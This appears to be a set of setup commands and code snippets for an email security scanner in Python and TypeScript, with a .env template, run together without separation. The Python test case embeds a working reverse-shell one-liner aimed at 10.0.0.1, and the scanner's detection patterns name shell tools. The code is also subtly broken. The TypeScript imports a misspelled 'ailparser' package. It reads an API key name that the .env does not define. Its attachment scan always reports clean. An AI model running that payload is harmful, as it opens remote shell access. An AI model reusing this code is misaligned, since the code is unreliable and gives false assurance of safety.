# Create a virtual environment
python3 -m venv venv
source venv/bin/activate

# Install necessary libraries
# - mail-parser: For robust email parsing
# - python-dotenv: For environment variable management
# - requests: For external API calls
pip install mail-parser requests python-dotenv

# Initialize project
npm init -y

# Install dependencies
# - mailparser: Robust email parsing
# - dotenv: Environment variable management
# - axios: For API requests
npm install mailparser dotenv axios
npm install --save-dev @types/mailparser @types/node typescript ts-node

import mailparser
import re
import logging
from typing import Dict, Any

# Configure logging for security auditing
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

class EmailSecurityEngine:
    def __init__(self):
        # Patterns often used in RCE exploits (e.g., shell injections in headers)
        self.suspicious_patterns = [
            re.compile(r";.*?\b(bash|sh|cmd|powershell)\b", re.IGNORECASE),
            re.compile(r"\$\(.*\)", re.IGNORECASE),  # Command substitution
            re.compile(r"\||&", re.IGNORECASE)      # Pipe or backgrounding
        ]

    def validate_headers(self, headers: Dict[str, str]) -> bool:
        """Checks headers for common injection characters."""
        for key, value in headers.items():
            for pattern in self.suspicious_patterns:
                if pattern.search(value):
                    logging.warning(f"SECURITY ALERT: Suspicious header detected in {key}: {value}")
                    return False
        return True

    def safe_parse(self, raw_email: bytes) -> Dict[str, Any]:
        """Parses email with error handling and security checks."""
        try:
            # 1. Parse the email
            parsed = mailparser.parse_from_bytes(raw_email)
            
            # 2. Validate headers for RCE attempts
            if not self.validate_headers(parsed.headers):
                raise ValueError("Security violation: Malicious headers detected.")

            # 3. Return sanitized metadata
            return {
                "subject": parsed.subject,
                "from": parsed.from_,
                "attachments_count": len(parsed.attachments),
                "status": "CLEAN"
            }

        except Exception as e:
            logging.error(f"Parsing Error: {str(e)}")
            return {"status": "MALICIOUS_OR_CORRUPT", "error": str(e)}

# --- TEST CASE ---
if __name__ == "__main__":
    engine = EmailSecurityEngine()
    
    # Mocking a malicious email attempting command injection in the Subject
    malicious_email = b"Subject: Hello; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1\n\nBody content"
    
    result = engine.safe_parse(malicious_email)
    print(f"Analysis Result: {result}")

import { parse } from 'ailparser';
import * as dotenv from 'dotenv';
import axios from 'axios';

dotenv.config();

interface EmailAnalysisResult {
    isSafe: boolean;
    threatLevel: 'LOW' | 'HIGH';
    reason?: string;
}

class EmailSecurityScanner {
    private readonly VIRUS_TOTAL_API_KEY = process.env.VT_API_KEY;

    /**
     * Validates email structure and checks for common RCE patterns
     */
    async analyzeEmail(rawEmail: Buffer): Promise<EmailAnalysisResult> {
        try {
            const parsed = await parse(rawEmail);

            // 1. Check for suspicious characters in Subject/Body
            const suspiciousRegex = /[;|&`$]/;
            if (suspiciousRegex.test(parsed.subject || '')) {
                return { isSafe: false, threatLevel: 'HIGH', reason: 'Command injection pattern in Subject' };
            }

            // 2. Check attachment count (prevent Zip Bombs / Resource exhaustion)
            if (parsed.attachments.length > 10) {
                return { isSafe: false, threatLevel: 'HIGH', reason: 'Excessive attachments' };
            }

            // 3. Simulated external API scan (e.g., VirusTotal)
            // In a real production app, you would hash the attachment and query the API
            const isFileClean = await this.mockExternalScan(parsed.attachments);
            
            if (!isFileClean) {
                return { isSafe: false, threatLevel: 'HIGH', reason: 'Malicious attachment detected by external scan' };
            }

            return { isSafe: true, threatLevel: 'LOW' };
        } catch (error) {
            console.error('Critical parsing error:', error);
            return { isSafe: false, threatLevel: 'HIGH', reason: 'Parsing failure' };
        }
    }

    private async mockExternalScan(attachments: any[]): Promise<boolean> {
        // Simulate network latency
        await new Promise(res => setTimeout(res, 500));
        // Return true for demo purposes
        return true;
    }
}

// --- TEST CASE ---
async function runDemo() {
    const scanner = new EmailSecurityScanner();
    const rawEmail = Buffer.from("Subject: Normal Email\n\nHello World");
    
    const result = await scanner.analyzeEmail(rawEmail);
    console.log('Security Analysis:', result);
}

runDemo();

# Security API Keys
VIRUS_TOTAL_API_KEY=your_api_key_here

# Server Configuration
LOG_LEVEL=debug
MAX_EMAIL_SIZE_MB=25